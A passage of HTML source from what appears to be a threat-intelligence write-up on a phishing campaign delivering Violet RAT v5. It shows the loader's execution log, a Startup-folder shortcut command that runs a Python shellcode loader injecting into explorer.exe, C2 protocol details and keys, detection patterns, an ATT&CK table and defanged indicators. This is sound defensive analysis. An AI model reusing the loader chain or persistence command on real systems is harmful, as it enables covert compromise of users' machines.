&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PYTHON_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;https&lt;/span&gt;://www.python.org/ftp/python/&lt;span class=&quot;nv&quot;&gt;%PYTHON_VERSION%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;/python&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%PYTHON_VERSION%&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;-embed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ARCH%&lt;/span&gt;.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;GETPIP_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;https&lt;/span&gt;://bootstrap.pypa.io/get&lt;span class=&quot;na&quot;&gt;-pip&lt;/span&gt;.py
......

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 4. final.bat Snippet&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The path is writable by the user but resembles legitimate Windows cryptographic storage, which makes it a convenient place to hide in plain sight. From there the loader installed a portable Python 3.11.8 runtime, installed the dependencies it needed, downloaded the encrypted payload package, and executed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These files ended up in the staging directory.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;File&lt;/th&gt;
      &lt;th&gt;Purpose&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python shellcode loader&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;AES CBC encrypted shellcode&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;32 byte AES key followed by a 16 byte IV&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.log&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Execution log written by the loader chain&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;artifacts-created-during-loader-execution&quot;&gt;Artifacts Created During Loader Execution&lt;/h3&gt;

&lt;p&gt;One of the more useful artefacts recovered during sandbox analysis was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.log&lt;/code&gt;, written to the staging directory.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The log ties the whole chain together. It records the setup of the embedded Python environment, the installation of dependencies, the extraction of the loader package, the download of the persistence script, and the final execution of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt; against &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; as the injection target.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;========================================
Execution started: Thu 04/07/2026 14:09:40.69
Working directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
========================================

[+] Downloading Python...
[+] Extracting Python...
[DEBUG] Current directory: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache
[+] Installing pip...
[+] Installing psutil...
[+] Installing cryptography...
[+] Installing pyaes...

[+] Downloading loader package...
[+] Extracting package...

[+] Downloading persistence script...

[+] Checking files...
[+] All files found:
   - encrypted_loader.py
   - as_encrypted.bin
   - as_key.bin
[!] WARNING: Key file is 48 bytes (expected 48)

[+] Running loader...
Command: python encrypted_loader.py -f as_encrypted.bin explorer.exe
Execution start: 14:10:23.83
Execution end: 14:10:28.99
Exit code: 0
[+] SUCCESS: Shellcode execution completed!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 5. setup.log&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;For defenders, the verbose logging is valuable, confirming that Python was downloaded, dependencies were installed, the package was extracted, persistence was staged, and shellcode execution finished with exit code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;persistence&quot;&gt;Persistence&lt;/h3&gt;

&lt;p&gt;Persistence was established through the current user’s Startup folder.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The shortcut launched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, changed into the staging directory, and ran the Python loader again. No registry Run key persistence was observed in this execution chain. Persistence was file-based and limited to the user profile.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Operating System      : Windows 8.1, 10
Target File Name      : cmd.exe
Description           : Windows Crypto Loader
Relative Path         : ..\..\..\..\..\..\..\..\..\Windows\system32\cmd.exe
Command Line Arguments: /c cd /d &quot;C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Crypto\RSA\Cache&quot; &amp;amp;&amp;amp; start /b python.exe encrypted_loader.py -f as_encrypted.bin explorer.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;Output 1. ExifTool excerpt - CryptoLoader.lnk&lt;/p&gt;

&lt;h3 id=&quot;decryption-and-injection-into-explorerexe&quot;&gt;Decryption and injection into explorer.exe&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt; read two local files, the AES CBC encrypted shellcode in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt; and the key material in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt; (the 32 byte key plus 16 byte IV). After decryption, the loader identified the running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; process and used standard Windows process injection APIs, allocating remote memory, writing the process memory, and creating a remote thread.&lt;/p&gt;

&lt;p&gt;The decrypted shellcode was identified as a Donut payload, which loaded the embedded Violet RAT v5 .NET assembly directly into memory. Donut is a shellcode generator commonly used to execute .NET assemblies and other payloads in-memory without writing the final stage to disk. To inspect and extract the embedded payload, we used the &lt;a href=&quot;https://github.com/volexity/donut-decryptor&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;donut-decryptor&lt;/a&gt; tool published by Volexity.&lt;/p&gt;

&lt;h3 id=&quot;violet-rat-v5-as-the-final-payload&quot;&gt;Violet RAT v5 as the final payload&lt;/h3&gt;

&lt;p&gt;The decompiled Violet RAT v5 stub contained several high-signal artifacts.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Artifact&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 IP&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 port&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7000/TCP&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Internal version&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Violet v5&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mutex&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LApYAYSFOShHukHW&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Protocol delimiter&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Violet&amp;gt;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 packet label&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INFO&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Heartbeat&lt;/td&gt;
      &lt;td&gt;Client sends &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING?&lt;/code&gt;, server responds &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING!&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 encryption&lt;/td&gt;
      &lt;td&gt;AES/Rijndael ECB using a key derived from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XSXSXSX&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;XOR key&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TIeuNzM&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The initial C2 message contained a full system profile, including user name, operating system, privilege state, antivirus status, and the internal RAT version. The observed decrypted traffic confirmed successful communication with the C2 server during analysis.&lt;/p&gt;

&lt;p&gt;The client to server message looked like this.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;INFO&amp;lt;Violet&amp;gt;XXXXXXXXXXXXXXXXXXXX&amp;lt;Violet&amp;gt;Admin&amp;lt;Violet&amp;gt;Windows 11 Pro 64bit&amp;lt;Violet&amp;gt;Violet v5
&amp;lt;Violet&amp;gt;22/03/2022&amp;lt;Violet&amp;gt;True&amp;lt;Violet&amp;gt;False&amp;lt;Violet&amp;gt;None&amp;lt;Violet&amp;gt;Nothing&amp;lt;Violet&amp;gt;Nothing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;Subsequent outbound traffic was the periodic heartbeat, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING?&lt;/code&gt; from the client answered with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PING!&lt;/code&gt; from the server. The date value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;22/03/2022&lt;/code&gt; in the decrypted client profile appears to reflect host-derived operating system installation information and should not be interpreted as a campaign timestamp.&lt;/p&gt;

&lt;p&gt;Violet RAT v5 is advertised as a commercial remote administration tool by the developer using the handle &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@n0xi0s&lt;/code&gt;, on websites such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;violetrat[.]net&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;violetsoftware[.]net&lt;/code&gt;. Although the author presents Violet RAT v5 as dual-use software, its functionality aligns more closely with an offensive remote access tool than with legitimate administrative tooling. In the campaign analyzed here, Violet RAT v5 was used as the final payload in a phishing-driven malware chain.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-and-hunting-opportunities&quot;&gt;Detection and hunting opportunities&lt;/h2&gt;

&lt;p&gt;The observed execution chain provides defenders with several hunting opportunities across network, host, and filesystem telemetry. The most durable detections are behavioural. Single domains and IP addresses change quickly, but the behavioural sequence from shortcut execution to WebDAV access, script staging, Python execution, and process injection is harder to replace without reworking the operation.&lt;/p&gt;

&lt;h3 id=&quot;network&quot;&gt;Network&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Connections to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140:7000/TCP&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.trycloudflare.com&lt;/code&gt; using WebDAV-style paths&lt;/li&gt;
  &lt;li&gt;Windows clients accessing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DavWWWRoot&lt;/code&gt; over HTTPS from Explorer or script hosts&lt;/li&gt;
  &lt;li&gt;Dropbox downloads followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; execution&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;host&quot;&gt;Host&lt;/h3&gt;

&lt;p&gt;High signal process patterns&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;explorer.exe -&amp;gt; wscript.exe
wscript.exe -&amp;gt; cmd.exe
wscript.exe -&amp;gt; powershell.exe
cmd.exe -&amp;gt; powershell.exe -WindowStyle Hidden
cmd.exe -&amp;gt; python.exe
python.exe -&amp;gt; explorer.exe injection indicators
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;Additional behavioural detections&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; files opening remote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; paths with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@SSL&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DavWWWRoot&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; files with PDF masquerading that execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Script execution from WebDAV UNC paths&lt;/li&gt;
  &lt;li&gt;Portable Python runtimes installed below user-writable directories that resemble Windows system paths&lt;/li&gt;
  &lt;li&gt;Startup folder shortcuts launching command interpreters or Python loaders&lt;/li&gt;
  &lt;li&gt;Remote thread creation into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; from a Python process&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;filesystem&quot;&gt;Filesystem&lt;/h3&gt;

&lt;p&gt;Observed paths and files&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%TEMP%\r.bat
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin
%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;attck-techniques&quot;&gt;ATT&amp;amp;CK techniques&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tactic&lt;/th&gt;
      &lt;th&gt;Technique&lt;/th&gt;
      &lt;th&gt;Observed behaviour&lt;/th&gt;
      &lt;th&gt;Detection idea&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Initial Access&lt;/td&gt;
      &lt;td&gt;Phishing: Spearphishing Link (T1566.002)&lt;/td&gt;
      &lt;td&gt;Telekom invoice lure delivered a Dropbox link to a ZIP archive&lt;/td&gt;
      &lt;td&gt;Cloud links delivering shortcut files or document-themed archives&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;User Execution: Malicious Link (T1204.001)&lt;/td&gt;
      &lt;td&gt;Victim opened a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; file that reached WebDAV&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; execution opening remote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;User Execution: Malicious File (T1204.002)&lt;/td&gt;
      &lt;td&gt;Victim opened a PDF-themed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; file&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; files with document extensions and script interpreter targets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: JScript (T1059.007)&lt;/td&gt;
      &lt;td&gt;JScript ran through WSH&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cscript.exe&lt;/code&gt; launched from WebDAV or user-writable paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: Windows Command Shell (T1059.003)&lt;/td&gt;
      &lt;td&gt;Batch scripts launched the next stage&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; spawning interpreters or scripts from user-writable directories&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: PowerShell (T1059.001)&lt;/td&gt;
      &lt;td&gt;PowerShell was used during the chain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell.exe&lt;/code&gt; with encoded or download commands spawned by scripts&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;Command and Scripting Interpreter: Python (T1059.006)&lt;/td&gt;
      &lt;td&gt;A Python runtime ran the loader&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python.exe&lt;/code&gt; running scripts from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt; or temp&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Command and Control&lt;/td&gt;
      &lt;td&gt;Ingress Tool Transfer (T1105)&lt;/td&gt;
      &lt;td&gt;Payload components were retrieved from WebDAV and public hosting during execution&lt;/td&gt;
      &lt;td&gt;Downloads of portable Python followed by script execution from user-writable paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Masquerading: Double File Extension (T1036.007)&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt; used a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.PDF.lnk&lt;/code&gt; double extension&lt;/td&gt;
      &lt;td&gt;Files with double extensions such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.lnk&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.exe&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Masquerading: Masquerade File Type (T1036.008)&lt;/td&gt;
      &lt;td&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; used a PDF-themed name and icon&lt;/td&gt;
      &lt;td&gt;Shortcut or executable files using document icons&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Persistence&lt;/td&gt;
      &lt;td&gt;Boot or Logon Autostart Execution: Startup Folder (T1547.001)&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CryptoLoader.lnk&lt;/code&gt; was placed in the user’s Startup folder&lt;/td&gt;
      &lt;td&gt;Startup shortcuts launching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, Python, or scripts from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Deobfuscate/Decode Files or Information (T1140)&lt;/td&gt;
      &lt;td&gt;AES encrypted shellcode was decrypted locally using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Encrypted payload plus separate key material in suspicious user paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Reflective Code Loading (T1620)&lt;/td&gt;
      &lt;td&gt;Donut loaded the embedded .NET assembly in-memory&lt;/td&gt;
      &lt;td&gt;Memory loaded .NET payloads with no final executable on disk&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;Process Injection (T1055)&lt;/td&gt;
      &lt;td&gt;Python loader injected Donut packed shellcode into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python process using remote memory operations against Explorer&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Command and Control&lt;/td&gt;
      &lt;td&gt;Non-Standard Port (T1571)&lt;/td&gt;
      &lt;td&gt;Violet RAT v5 connected to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140:7000&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Outbound TCP to uncommon ports from user workstations&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Command and Control&lt;/td&gt;
      &lt;td&gt;Encrypted Channel (T1573)&lt;/td&gt;
      &lt;td&gt;Violet RAT v5 used encrypted C2 messages and heartbeat traffic&lt;/td&gt;
      &lt;td&gt;Repeated encrypted traffic with stable timing to an unusual destination&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Hunt for execution through WebDAV from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.lnk&lt;/code&gt; files, especially paths using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DavWWWRoot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.trycloudflare.com&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Monitor script chains involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cscript.exe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell.exe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, and portable Python runtimes launched from user-writable directories.&lt;/li&gt;
  &lt;li&gt;Detect persistence through Startup folder shortcuts that launch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, Python, or scripts from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Hunt for the staging directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\&lt;/code&gt; and the filenames listed in the IOC section.&lt;/li&gt;
  &lt;li&gt;Block or monitor the observed C2 endpoint and related delivery infrastructure.&lt;/li&gt;
  &lt;li&gt;Treat cloud hosted archives that contain shortcut files as high risk, especially when paired with invoice themed social engineering.&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise&lt;/h2&gt;

&lt;h3 id=&quot;network-1&quot;&gt;Network&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 IP&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 port&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7000/TCP&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Delivery URL&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hxxps://www.dropbox[.]com/scl/fi/rictefq1kw3lam7yvm8vz/Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WebDAV delivery domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move-friendly-international-observed.trycloudflare[.]com&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Payload package&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move-friendly-international-observed.trycloudflare[.]com/files.zip&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;files-and-paths&quot;&gt;Files and paths&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Delivery archive&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;URL shortcut&lt;/td&gt;
